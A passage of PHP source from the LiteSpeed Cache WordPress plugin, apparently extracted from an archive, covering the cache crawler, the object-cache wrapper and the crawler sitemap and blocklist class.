		if ($this->conf(Base::O_GUEST)) {
			$vary_name = $this->cls('Vary')->get_vary_name();
			$vary_val  = 'guest_mode:1';
			if (!defined('LSCWP_LOG')) {
				$vary_val = md5($this->conf(Base::HASH) . $vary_val);
			}
			$crawler_factors['cookie:' . $vary_name] = array(
				$vary_val => '',
				'_null' => '<font data-balloon-pos="up" aria-label="Guest Mode">👒</font>',
			);
		}

		// Mobile crawler
		if ($this->conf(Base::O_CACHE_MOBILE)) {
			$crawler_factors['mobile'] = array(
				1 => '<font data-balloon-pos="up" aria-label="Mobile">📱</font>',
				0 => '',
			);
		}

		// Get roles set
		// List all roles
		foreach ($this->conf(Base::O_CRAWLER_ROLES) as $v) {
			$role_title = '';
			$udata      = get_userdata($v);
			if (isset($udata->roles) && is_array($udata->roles)) {
				$tmp        = array_values($udata->roles);
				$role_title = array_shift($tmp);
			}
			if (!$role_title) {
				continue;
			}

			$crawler_factors['uid'][$v] = ucfirst($role_title);
		}

		// Cookie crawler
		foreach ($this->conf(Base::O_CRAWLER_COOKIES) as $v) {
			if (empty($v['name'])) {
				continue;
			}

			$this_cookie_key = 'cookie:' . $v['name'];

			$crawler_factors[$this_cookie_key] = array();

			foreach ($v['vals'] as $v2) {
				$crawler_factors[$this_cookie_key][$v2] =
					$v2 == '_null' ? '' : '<font data-balloon-pos="up" aria-label="Cookie">🍪</font>' . esc_html($v['name']) . '=' . esc_html($v2);
			}
		}

		// Crossing generate the crawler list
		$this->_crawlers = $this->_recursive_build_crawler($crawler_factors);

		return $this->_crawlers;
	}

	/**
	 * Build a crawler list recursively
	 *
	 * @since 2.8
	 * @access private
	 */
	private function _recursive_build_crawler( $crawler_factors, $group = array(), $i = 0 ) {
		$current_factor = array_keys($crawler_factors);
		$current_factor = $current_factor[$i];

		$if_touch_end = $i + 1 >= count($crawler_factors);

		$final_list = array();

		foreach ($crawler_factors[$current_factor] as $k => $v) {
			// Don't alter $group bcos of loop usage
			$item          = $group;
			$item['title'] = !empty($group['title']) ? $group['title'] : '';
			if ($v) {
				if ($item['title']) {
					$item['title'] .= ' - ';
				}
				$item['title'] .= $v;
			}
			$item[$current_factor] = $k;

			if ($if_touch_end) {
				$final_list[] = $item;
			} else {
				// Inception: next layer
				$final_list = array_merge($final_list, $this->_recursive_build_crawler($crawler_factors, $item, $i + 1));
			}
		}

		return $final_list;
	}

	/**
	 * Return crawler meta file local path
	 *
	 * @since    6.1
	 * @access public
	 */
	public function json_local_path() {
		// if (!file_exists(LITESPEED_STATIC_DIR . '/crawler/' . $this->_sitemeta)) {
		// return false;
		// }

		return LITESPEED_STATIC_DIR . '/crawler/' . $this->_sitemeta;
	}

	/**
	 * Return crawler meta file
	 *
	 * @since    1.1.0
	 * @access public
	 */
	public function json_path() {
		if (!file_exists(LITESPEED_STATIC_DIR . '/crawler/' . $this->_sitemeta)) {
			return false;
		}

		return LITESPEED_STATIC_URL . '/crawler/' . $this->_sitemeta;
	}

	/**
	 * Create reset pos file
	 *
	 * @since    1.1.0
	 * @access public
	 */
	public function reset_pos() {
		File::save($this->_resetfile, time(), true);

		self::save_summary(array( 'is_running' => 0 ));
	}

	/**
	 * Display status based by matching crawlers order
	 *
	 * @since  3.0
	 * @access public
	 */
	public function display_status( $status_row, $reason_set ) {
		if (!$status_row) {
			return '';
		}

		$_status_list = array(
			'-' => 'default',
			self::STATUS_MISS => 'primary',
			self::STATUS_HIT => 'success',
			self::STATUS_BLACKLIST => 'danger',
			self::STATUS_NOCACHE => 'warning',
		);

		$reason_set = explode(',', $reason_set);

		$status = '';
		foreach (str_split($status_row) as $k => $v) {
			$reason = $reason_set[$k];
			if ($reason == 'Man') {
				$reason = __('Manually added to blocklist', 'litespeed-cache');
			}
			if ($reason == 'Existed') {
				$reason = __('Previously existed in blocklist', 'litespeed-cache');
			}
			if ($reason) {
				$reason = 'data-balloon-pos="up" aria-label="' . $reason . '"';
			}
			$status .= '<i class="litespeed-dot litespeed-bg-' . $_status_list[$v] . '" ' . $reason . '>' . ($k + 1) . '</i>';
		}

		return $status;
	}

	/**
	 * Output info and exit
	 *
	 * @since    1.1.0
	 * @access protected
	 * @param  string $msg Error info
	 */
	protected function output( $msg ) {
		if (wp_doing_cron()) {
			echo $msg;
			// exit();
		} else {
			echo "<script>alert('" . htmlspecialchars($msg) . "');</script>";
			// exit;
		}
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  3.0
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_REFRESH_MAP:
            $this->cls('Crawler_Map')->gen(true);
				break;

			case self::TYPE_EMPTY:
            $this->cls('Crawler_Map')->empty_map();
				break;

			case self::TYPE_BLACKLIST_EMPTY:
            $this->cls('Crawler_Map')->blacklist_empty();
				break;

			case self::TYPE_BLACKLIST_DEL:
            if (!empty($_GET['id'])) {
					$this->cls('Crawler_Map')->blacklist_del($_GET['id']);
				}
				break;

			case self::TYPE_BLACKLIST_ADD:
            if (!empty($_GET['id'])) {
					$this->cls('Crawler_Map')->blacklist_add($_GET['id']);
				}
				break;

			case self::TYPE_START: // Handle the ajax request to proceed crawler manually by admin
            self::start_async();
				break;

			case self::TYPE_RESET:
            $this->reset_pos();
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/object-cache-wp.cls.php000064400000061253151031165260021311 0ustar00<?php
/**
 * WP Object Cache wrapper for LiteSpeed Cache.
 *
 * Provides a drop-in-compatible object cache implementation that proxies to
 * LiteSpeed's persistent cache while keeping a local runtime cache.
 *
 * @package LiteSpeed
 * @since   1.8
 */

/**
 * Class WP_Object_Cache
 *
 * Implements the WordPress object cache for LiteSpeed Cache.
 *
 * @since 1.8
 * @package LiteSpeed
 */
class WP_Object_Cache {

	/**
	 * Singleton instance
	 *
	 * @since 1.8
	 * @access protected
	 * @var WP_Object_Cache|null
	 */
	protected static $_instance;

	/**
	 * Object cache instance
	 *
	 * @since 1.8
	 * @access private
	 * @var \LiteSpeed\Object_Cache
	 */
	private $_object_cache;

	/**
	 * Cache storage
	 *
	 * @since 1.8
	 * @access private
	 * @var array
	 */
	private $_cache = array();

	/**
	 * Cache for 404 keys
	 *
	 * @since 1.8
	 * @access private
	 * @var array
	 */
	private $_cache_404 = array();

	/**
	 * Total cache operations
	 *
	 * @since 1.8
	 * @access private
	 * @var int
	 */
	private $cache_total = 0;

	/**
	 * Cache hits within call
	 *
	 * @since 1.8
	 * @access private
	 * @var int
	 */
	private $count_hit_incall = 0;

	/**
	 * Cache hits
	 *
	 * @since 1.8
	 * @access private
	 * @var int
	 */
	private $count_hit = 0;

	/**
	 * Cache misses within call
	 *
	 * @since 1.8
	 * @access private
	 * @var int
	 */
	private $count_miss_incall = 0;

	/**
	 * Cache misses
	 *
	 * @since 1.8
	 * @access private
	 * @var int
	 */
	private $count_miss = 0;

	/**
	 * Cache set operations
	 *
	 * @since 1.8
	 * @access private
	 * @var int
	 */
	private $count_set = 0;

	/**
	 * Global cache groups
	 *
	 * @since 1.8
	 * @access protected
	 * @var array
	 */
	protected $global_groups = array();

	/**
	 * Blog prefix for cache keys
	 *
	 * @since 1.8
	 * @access private
	 * @var string
	 */
	private $blog_prefix;

	/**
	 * Multisite flag
	 *
	 * @since 1.8
	 * @access private
	 * @var bool
	 */
	private $multisite;

	/**
	 * Init.
	 *
	 * Initializes the object cache with LiteSpeed settings.
	 *
	 * @since  1.8
	 * @access public
	 */
	public function __construct() {
		$this->_object_cache = \LiteSpeed\Object_Cache::cls();

		$this->multisite   = is_multisite();
		$this->blog_prefix = $this->multisite ? get_current_blog_id() . ':' : '';

		/**
		 * Fix multiple instance using same oc issue
		 *
		 * @since  1.8.2
		 */
		if ( ! defined( 'LSOC_PREFIX' ) ) {
			define( 'LSOC_PREFIX', substr( md5( __FILE__ ), -5 ) );
		}
	}

	/**
	 * Makes private properties readable for backward compatibility.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @param string $name Property to get.
	 * @return mixed Property.
	 */
	public function __get( $name ) {
		return $this->$name;
	}

	/**
	 * Makes private properties settable for backward compatibility.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @param string $name  Property to set.
	 * @param mixed  $value Property value.
	 * @return mixed Newly-set property.
	 */
	public function __set( $name, $value ) {
		$this->$name = $value;

		return $this->$name;
	}

	/**
	 * Makes private properties checkable for backward compatibility.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @param string $name Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $name ) {
		return isset( $this->$name );
	}

	/**
	 * Makes private properties un-settable for backward compatibility.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @param string $name Property to unset.
	 */
	public function __unset( $name ) {
		unset( $this->$name );
	}

	/**
	 * Serves as a utility function to determine whether a key is valid.
	 *
	 * @since 5.4
	 * @access protected
	 *
	 * @param int|string $key Cache key to check for validity.
	 * @return bool Whether the key is valid.
	 */
	protected function is_valid_key( $key ) {
		if ( is_int( $key ) ) {
			return true;
		}

		if ( is_string( $key ) && '' !== trim( $key ) ) {
			return true;
		}

		$type = gettype( $key );

		if ( ! function_exists( '__' ) ) {
			wp_load_translations_early();
		}

		$message = is_string( $key )
			? __( 'Cache key must not be an empty string.' )
			: sprintf(
				/* translators: %s: The type of the given cache key. */
				__( 'Cache key must be integer or non-empty string, %s given.' ),
				$type
			);

		_doing_it_wrong(
			esc_html( __METHOD__ ),
			esc_html( $message ),
			'6.1.0'
		);

		return false;
	}

	/**
	 * Get the final key.
	 *
	 * Generates a unique cache key based on group and prefix.
	 *
	 * @since 1.8
	 * @access private
	 * @param int|string $key   Cache key.
	 * @param string     $group Optional. Cache group. Default 'default'.
	 * @return string The final cache key.
	 */
	private function _key( $key, $group = 'default' ) {
		if ( empty( $group ) ) {
			$group = 'default';
		}

		$prefix = $this->_object_cache->is_global( $group ) ? '' : $this->blog_prefix;

		return LSOC_PREFIX . $prefix . $group . '.' . $key;
	}

	/**
	 * Output debug info.
	 *
	 * Returns cache statistics for debugging purposes.
	 *
	 * @since  1.8
	 * @access public
	 * @return string Cache statistics.
	 */
	public function debug() {
		return ' [total] ' .
			$this->cache_total .
			' [hit_incall] ' .
			$this->count_hit_incall .
			' [hit] ' .
			$this->count_hit .
			' [miss_incall] ' .
			$this->count_miss_incall .
			' [miss] ' .
			$this->count_miss .
			' [set] ' .
			$this->count_set;
	}

	/**
	 * Adds data to the cache if it doesn't already exist.
	 *
	 * @since 1.8
	 * @access public
	 * @see WP_Object_Cache::set()
	 *
	 * @param int|string $key    What to call the contents in the cache.
	 * @param mixed      $data   The contents to store in the cache.
	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
	 * @param int        $expire Optional. When to expire the cache contents, in seconds.
	 *                           Default 0 (no expiration).
	 * @return bool True on success, false if cache key and group already exist.
	 */
	public function add( $key, $data, $group = 'default', $expire = 0 ) {
		if ( wp_suspend_cache_addition() ) {
			return false;
		}

		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		$id = $this->_key( $key, $group );

		if ( array_key_exists( $id, $this->_cache ) ) {
			return false;
		}

		return $this->set( $key, $data, $group, (int) $expire );
	}

	/**
	 * Adds multiple values to the cache in one call.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @param array  $data   Array of keys and values to be added.
	 * @param string $group  Optional. Where the cache contents are grouped. Default empty.
	 * @param int    $expire Optional. When to expire the cache contents, in seconds.
	 *                       Default 0 (no expiration).
	 * @return bool[] Array of return values, grouped by key. Each value is either
	 *                true on success, or false if cache key and group already exist.
	 */
	public function add_multiple( array $data, $group = '', $expire = 0 ) {
		$values = array();

		foreach ( $data as $key => $value ) {
			$values[ $key ] = $this->add( $key, $value, $group, $expire );
		}

		return $values;
	}

	/**
	 * Replaces the contents in the cache, if contents already exist.
	 *
	 * @since 1.8
	 * @access public
	 * @see WP_Object_Cache::set()
	 *
	 * @param int|string $key    What to call the contents in the cache.
	 * @param mixed      $data   The contents to store in the cache.
	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
	 * @param int        $expire Optional. When to expire the cache contents, in seconds.
	 *                           Default 0 (no expiration).
	 * @return bool True if contents were replaced, false if original value does not exist.
	 */
	public function replace( $key, $data, $group = 'default', $expire = 0 ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		$id = $this->_key( $key, $group );

		if ( ! array_key_exists( $id, $this->_cache ) ) {
			return false;
		}

		return $this->set( $key, $data, $group, (int) $expire );
	}

	/**
	 * Sets the data contents into the cache.
	 *
	 * The cache contents are grouped by the $group parameter followed by the
	 * $key. This allows for duplicate IDs in unique groups. Therefore, naming of
	 * the group should be used with care and should follow normal function
	 * naming guidelines outside of core WordPress usage.
	 *
	 * The $expire parameter is not used, because the cache will automatically
	 * expire for each time a page is accessed and PHP finishes. The method is
	 * more for cache plugins which use files.
	 *
	 * @since 1.8
	 * @since 5.4 Returns false if cache key is invalid.
	 * @access public
	 *
	 * @param int|string $key    What to call the contents in the cache.
	 * @param mixed      $data   The contents to store in the cache.
	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
	 * @param int        $expire Optional. When to expire the cache contents, in seconds.
	 *                           Default 0 (no expiration).
	 * @return bool True if contents were set, false if key is invalid.
	 */
	public function set( $key, $data, $group = 'default', $expire = 0 ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		$id = $this->_key( $key, $group );

		if ( is_object( $data ) ) {
			$data = clone $data;
		}

		$this->_cache[ $id ] = $data;

		if ( array_key_exists( $id, $this->_cache_404 ) ) {
			unset( $this->_cache_404[ $id ] );
		}

		if ( ! $this->_object_cache->is_non_persistent( $group ) ) {
			// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_serialize
			$this->_object_cache->set( $id, serialize( array( 'data' => $data ) ), (int) $expire );
			++$this->count_set;
		}

		if ( $this->_object_cache->store_transients( $group ) ) {
			$this->_transient_set( $key, $data, $group, (int) $expire );
		}

		return true;
	}

	/**
	 * Sets multiple values to the cache in one call.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @param array  $data   Array of key and value to be set.
	 * @param string $group  Optional. Where the cache contents are grouped. Default empty.
	 * @param int    $expire Optional. When to expire the cache contents, in seconds.
	 *                       Default 0 (no expiration).
	 * @return bool[] Array of return values, grouped by key. Each value is always true.
	 */
	public function set_multiple( array $data, $group = '', $expire = 0 ) {
		$values = array();

		foreach ( $data as $key => $value ) {
			$values[ $key ] = $this->set( $key, $value, $group, $expire );
		}

		return $values;
	}

	/**
	 * Retrieves the cache contents, if it exists.
	 *
	 * The contents will be first attempted to be retrieved by searching by the
	 * key in the cache group. If the cache is hit (success) then the contents
	 * are returned.
	 *
	 * On failure, the number of cache misses will be incremented.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @param int|string $key   The key under which the cache contents are stored.
	 * @param string     $group Optional. Where the cache contents are grouped. Default 'default'.
	 * @param bool       $force Optional. Unused. Whether to force an update of the local cache
	 *                          from the persistent cache. Default false.
	 * @param bool       $found Optional. Whether the key was found in the cache (passed by reference).
	 *                          Disambiguates a return of false, a storable value. Default null.
	 * @return mixed|false The cache contents on success, false on failure to retrieve contents.
	 */
	public function get( $key, $group = 'default', $force = false, &$found = null ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		$id = $this->_key( $key, $group );

		$found       = false;
		$found_in_oc = false;
		$cache_val   = false;

		if ( array_key_exists( $id, $this->_cache ) && ! $force ) {
			$found     = true;
			$cache_val = $this->_cache[ $id ];
			++$this->count_hit_incall;
		} elseif ( ! array_key_exists( $id, $this->_cache_404 ) && ! $this->_object_cache->is_non_persistent( $group ) ) {
			$v = $this->_object_cache->get( $id );

			if ( null !== $v ) {
				$v = maybe_unserialize( $v );
			}

			// To be compatible with false val.
			if ( is_array( $v ) && array_key_exists( 'data', $v ) ) {
				++$this->count_hit;
				$found       = true;
				$found_in_oc = true;
				$cache_val   = $v['data'];
			} else {
				// Can't find key, cache it to 404.
				$this->_cache_404[ $id ] = 1;
				++$this->count_miss;
			}
		} else {
			++$this->count_miss_incall;
		}

		if ( is_object( $cache_val ) ) {
			$cache_val = clone $cache_val;
		}

		// If not found but has `Store Transients` cfg on, still need to follow WP's get_transient() logic.
		if ( ! $found && $this->_object_cache->store_transients( $group ) ) {
			$cache_val = $this->_transient_get( $key, $group );
			if ( $cache_val ) {
				$found = true;
			}
		}

		if ( $found_in_oc ) {
			$this->_cache[ $id ] = $cache_val;
		}

		++$this->cache_total;

		return $cache_val;
	}

	/**
	 * Retrieves multiple values from the cache in one call.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @param array  $keys  Array of keys under which the cache contents are stored.
	 * @param string $group Optional. Where the cache contents are grouped. Default 'default'.
	 * @param bool   $force Optional. Whether to force an update of the local cache
	 *                      from the persistent cache. Default false.
	 * @return array Array of return values, grouped by key. Each value is either
	 *               the cache contents on success, or false on failure.
	 */
	public function get_multiple( $keys, $group = 'default', $force = false ) {
		$values = array();

		foreach ( $keys as $key ) {
			$values[ $key ] = $this->get( $key, $group, $force );
		}

		return $values;
	}

	/**
	 * Removes the contents of the cache key in the group.
	 *
	 * If the cache key does not exist in the group, then nothing will happen.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @param int|string $key   What the contents in the cache are called.
	 * @param string     $group Optional. Where the cache contents are grouped. Default 'default'.
	 * @return bool True on success, false if the contents were not deleted.
	 */
	public function delete( $key, $group = 'default' ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		$id = $this->_key( $key, $group );

		if ( $this->_object_cache->store_transients( $group ) ) {
			$this->_transient_del( $key, $group );
		}

		if ( array_key_exists( $id, $this->_cache ) ) {
			unset( $this->_cache[ $id ] );
		}

		if ( $this->_object_cache->is_non_persistent( $group ) ) {
			return false;
		}

		return $this->_object_cache->delete( $id );
	}

	/**
	 * Deletes multiple values from the cache in one call.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @param array  $keys  Array of keys to be deleted.
	 * @param string $group Optional. Where the cache contents are grouped. Default empty.
	 * @return bool[] Array of return values, grouped by key. Each value is either
	 *                true on success, or false if the contents were not deleted.
	 */
	public function delete_multiple( array $keys, $group = '' ) {
		$values = array();

		foreach ( $keys as $key ) {
			$values[ $key ] = $this->delete( $key, $group );
		}

		return $values;
	}

	/**
	 * Increments numeric cache item's value.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @param int|string $key    The cache key to increment.
	 * @param int        $offset Optional. The amount by which to increment the item's value.
	 *                           Default 1.
	 * @param string     $group  Optional. The group the key is in. Default 'default'.
	 * @return int|false The item's new value on success, false on failure.
	 */
	public function incr( $key, $offset = 1, $group = 'default' ) {
		return $this->incr_desr( $key, $offset, $group, true );
	}

	/**
	 * Decrements numeric cache item's value.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @param int|string $key    The cache key to decrement.
	 * @param int        $offset Optional. The amount by which to decrement the item's value.
	 *                           Default 1.
	 * @param string     $group  Optional. The group the key is in. Default 'default'.
	 * @return int|false The item's new value on success, false on failure.
	 */
	public function decr( $key, $offset = 1, $group = 'default' ) {
		return $this->incr_desr( $key, $offset, $group, false );
	}

	/**
	 * Increments or decrements numeric cache item's value.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @param int|string $key    The cache key to increment or decrement.
	 * @param int        $offset The amount by which to adjust the item's value.
	 * @param string     $group  Optional. The group the key is in. Default 'default'.
	 * @param bool       $incr   True to increment, false to decrement.
	 * @return int|false The item's new value on success, false on failure.
	 */
	public function incr_desr( $key, $offset = 1, $group = 'default', $incr = true ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		$cache_val = $this->get( $key, $group );

		if ( false === $cache_val ) {
			return false;
		}

		if ( ! is_numeric( $cache_val ) ) {
			$cache_val = 0;
		}

		$offset = (int) $offset;

		if ( $incr ) {
			$cache_val += $offset;
		} else {
			$cache_val -= $offset;
		}

		if ( $cache_val < 0 ) {
			$cache_val = 0;
		}

		$this->set( $key, $cache_val, $group );

		return $cache_val;
	}

	/**
	 * Clears the object cache of all data.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @return true Always returns true.
	 */
	public function flush() {
		$this->flush_runtime();

		$this->_object_cache->flush();

		return true;
	}

	/**
	 * Removes all cache items from the in-memory runtime cache.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @return true Always returns true.
	 */
	public function flush_runtime() {
		$this->_cache     = array();
		$this->_cache_404 = array();

		return true;
	}

	/**
	 * Removes all cache items in a group.
	 *
	 * @since 5.4
	 * @access public
	 *
	 * @return true Always returns true.
	 */
	public function flush_group() {
		return true;
	}

	/**
	 * Sets the list of global cache groups.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @param string|string[] $groups List of groups that are global.
	 */
	public function add_global_groups( $groups ) {
		$groups = (array) $groups;

		$this->_object_cache->add_global_groups( $groups );
	}

	/**
	 * Sets the list of non-persistent cache groups.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @param string|string[] $groups A group or an array of groups to add.
	 */
	public function add_non_persistent_groups( $groups ) {
		$groups = (array) $groups;

		$this->_object_cache->add_non_persistent_groups( $groups );
	}

	/**
	 * Switches the internal blog ID.
	 *
	 * This changes the blog ID used to create keys in blog specific groups.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @param int $blog_id Blog ID.
	 */
	public function switch_to_blog( $blog_id ) {
		$blog_id           = (int) $blog_id;
		$this->blog_prefix = $this->multisite ? $blog_id . ':' : '';
	}

	/**
	 * Get transient from wp table
	 *
	 * Retrieves transient data from WordPress options table.
	 *
	 * @since 1.8.3
	 * @access private
	 * @see `wp-includes/option.php` function `get_transient`/`set_site_transient`
	 *
	 * @param string $transient Transient name.
	 * @param string $group     Transient group ('transient' or 'site-transient').
	 * @return mixed Transient value or false if not found.
	 */
	private function _transient_get( $transient, $group ) {
		if ( 'transient' === $group ) {
			/**** Ori WP func start */
			$transient_option = '_transient_' . $transient;
			if ( ! wp_installing() ) {
				// If option is not in alloptions, it is not autoloaded and thus has a timeout
				$alloptions = wp_load_alloptions();
				if ( ! isset( $alloptions[ $transient_option ] ) ) {
					$transient_timeout = '_transient_timeout_' . $transient;
					$timeout           = get_option( $transient_timeout );
					if ( false !== $timeout && $timeout < time() ) {
						delete_option( $transient_option );
						delete_option( $transient_timeout );
						$value = false;
					}
				}
			}

			if ( ! isset( $value ) ) {
				$value = get_option( $transient_option );
			}
			/**** Ori WP func end */
		} elseif ( 'site-transient' === $group ) {
			/**** Ori WP func start */
			$no_timeout       = array( 'update_core', 'update_plugins', 'update_themes' );
			$transient_option = '_site_transient_' . $transient;
			if ( ! in_array( $transient, $no_timeout, true ) ) {
				$transient_timeout = '_site_transient_timeout_' . $transient;
				$timeout           = get_site_option( $transient_timeout );
				if ( false !== $timeout && $timeout < time() ) {
					delete_site_option( $transient_option );
					delete_site_option( $transient_timeout );
					$value = false;
				}
			}

			if ( ! isset( $value ) ) {
				$value = get_site_option( $transient_option );
			}
			/**** Ori WP func end */
		} else {
			$value = false;
		}

		return $value;
	}

	/**
	 * Set transient to WP table
	 *
	 * Stores transient data in WordPress options table.
	 *
	 * @since 1.8.3
	 * @access private
	 * @see `wp-includes/option.php` function `set_transient`/`set_site_transient`
	 *
	 * @param string $transient  Transient name.
	 * @param mixed  $value      Transient value.
	 * @param string $group      Transient group ('transient' or 'site-transient').
	 * @param int    $expiration Time until expiration in seconds.
	 * @return bool True on success, false on failure.
	 */
	private function _transient_set( $transient, $value, $group, $expiration ) {
		if ( 'transient' === $group ) {
			/**** Ori WP func start */
			$transient_timeout = '_transient_timeout_' . $transient;
			$transient_option  = '_transient_' . $transient;
			if ( false === get_option( $transient_option ) ) {
				$autoload = 'yes';
				if ( (int) $expiration ) {
					$autoload = 'no';
					add_option( $transient_timeout, time() + (int) $expiration, '', 'no' );
				}
				$result = add_option( $transient_option, $value, '', $autoload );
			} else {
				// If expiration is requested, but the transient has no timeout option,
				// delete, then re-create transient rather than update.
				$update = true;
				if ( (int) $expiration ) {
					if ( false === get_option( $transient_timeout ) ) {
						delete_option( $transient_option );
						add_option( $transient_timeout, time() + (int) $expiration, '', 'no' );
						$result = add_option( $transient_option, $value, '', 'no' );
						$update = false;
					} else {
						update_option( $transient_timeout, time() + (int) $expiration );
					}
				}
				if ( $update ) {
					$result = update_option( $transient_option, $value );
				}
			}
			/**** Ori WP func end */
		} elseif ( 'site-transient' === $group ) {
			/**** Ori WP func start */
			$transient_timeout = '_site_transient_timeout_' . $transient;
			$option            = '_site_transient_' . $transient;
			if ( false === get_site_option( $option ) ) {
				if ( (int) $expiration ) {
					add_site_option( $transient_timeout, time() + (int) $expiration );
				}
				$result = add_site_option( $option, $value );
			} else {
				if ( (int) $expiration ) {
					update_site_option( $transient_timeout, time() + (int) $expiration );
				}
				$result = update_site_option( $option, $value );
			}
			/**** Ori WP func end */
		} else {
			$result = null;
		}

		return $result;
	}

	/**
	 * Delete transient from WP table
	 *
	 * Removes transient data from WordPress options table.
	 *
	 * @since 1.8.3
	 * @access private
	 * @see `wp-includes/option.php` function `delete_transient`/`delete_site_transient`
	 *
	 * @param string $transient Transient name.
	 * @param string $group     Transient group ('transient' or 'site-transient').
	 */
	private function _transient_del( $transient, $group ) {
		if ( 'transient' === $group ) {
			/**** Ori WP func start */
			$option_timeout = '_transient_timeout_' . $transient;
			$option         = '_transient_' . $transient;
			$result         = delete_option( $option );
			if ( $result ) {
				delete_option( $option_timeout );
			}
			/**** Ori WP func end */
		} elseif ( 'site-transient' === $group ) {
			/**** Ori WP func start */
			$option_timeout = '_site_transient_timeout_' . $transient;
			$option         = '_site_transient_' . $transient;
			$result         = delete_site_option( $option );
			if ( $result ) {
				delete_site_option( $option_timeout );
			}
			/**** Ori WP func end */
		}
	}

	/**
	 * Get the current instance object.
	 *
	 * @since 1.8
	 * @access public
	 *
	 * @return WP_Object_Cache The current instance.
	 */
	public static function get_instance() {
		if ( ! isset( self::$_instance ) ) {
			self::$_instance = new self();
		}

		return self::$_instance;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/crawler-map.cls.php000064400000035674151031165260020600 0ustar00<?php
// phpcs:ignoreFile

/**
 * The Crawler Sitemap Class
 *
 * @since       1.1.0
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Crawler_Map extends Root {

	const LOG_TAG = '🐞🗺️';

	const BM_MISS      = 1;
	const BM_HIT       = 2;
	const BM_BLACKLIST = 4;

	private $_site_url; // Used to simplify urls
	private $_tb;
	private $_tb_blacklist;
	private $__data;
	private $_conf_map_timeout;
	private $_urls = array();

	/**
	 * Instantiate the class
	 *
	 * @since 1.1.0
	 */
	public function __construct() {
		$this->_site_url         = get_site_url();
		$this->__data            = Data::cls();
		$this->_tb               = $this->__data->tb('crawler');
		$this->_tb_blacklist     = $this->__data->tb('crawler_blacklist');
		$this->_conf_map_timeout = defined('LITESPEED_CRAWLER_MAP_TIMEOUT') ? constant('LITESPEED_CRAWLER_MAP_TIMEOUT') : 180; // Specify the timeout while parsing the sitemap
	}

	/**
	 * Save URLs crawl status into DB
	 *
	 * @since  3.0
	 * @access public
	 */
	public function save_map_status( $list, $curr_crawler ) {
		global $wpdb;
		Utility::compatibility();

		$total_crawler     = count(Crawler::cls()->list_crawlers());
		$total_crawler_pos = $total_crawler - 1;

		// Replace current crawler's position
		$curr_crawler = (int) $curr_crawler;
		foreach ($list as $bit => $ids) {
			// $ids = [ id => [ url, code ], ... ]
			if (!$ids) {
				continue;
			}
			self::debug("Update map [crawler] $curr_crawler [bit] $bit [count] " . count($ids));

			// Update res first, then reason
			$right_pos = $total_crawler_pos - $curr_crawler;
			$sql_res   = "CONCAT( LEFT( res, $curr_crawler ), '$bit', RIGHT( res, $right_pos ) )";

			$id_all = implode(',', array_map('intval', array_keys($ids)));

			$wpdb->query("UPDATE `$this->_tb` SET res = $sql_res WHERE id IN ( $id_all )");

			// Add blacklist
			if ($bit == Crawler::STATUS_BLACKLIST || $bit == Crawler::STATUS_NOCACHE) {
				$q        = "SELECT a.id, a.url FROM `$this->_tb_blacklist` a LEFT JOIN `$this->_tb` b ON b.url=a.url WHERE b.id IN ( $id_all )";
				$existing = $wpdb->get_results($q, ARRAY_A);
				// Update current crawler status tag in existing blacklist
				if ($existing) {
					$count = $wpdb->query("UPDATE `$this->_tb_blacklist` SET res = $sql_res WHERE id IN ( " . implode(',', array_column($existing, 'id')) . ' )');
					self::debug('Update blacklist [count] ' . $count);
				}

				// Append new blacklist
				if (count($ids) > count($existing)) {
					$new_urls = array_diff(array_column($ids, 'url'), array_column($existing, 'url'));

					self::debug('Insert into blacklist [count] ' . count($new_urls));

					$q                  = "INSERT INTO `$this->_tb_blacklist` ( url, res, reason ) VALUES " . implode(',', array_fill(0, count($new_urls), '( %s, %s, %s )'));
					$data               = array();
					$res                = array_fill(0, $total_crawler, '-');
					$res[$curr_crawler] = $bit;
					$res                = implode('', $res);
					$default_reason     = $total_crawler > 1 ? str_repeat(',', $total_crawler - 1) : ''; // Pre-populate default reason value first, update later
					foreach ($new_urls as $url) {
						$data[] = $url;
						$data[] = $res;
						$data[] = $default_reason;
					}
					$wpdb->query($wpdb->prepare($q, $data));
				}
			}

			// Update sitemap reason w/ HTTP code
			$reason_array = array();
			foreach ($ids as $id => $v2) {
				$code = (int) $v2['code'];
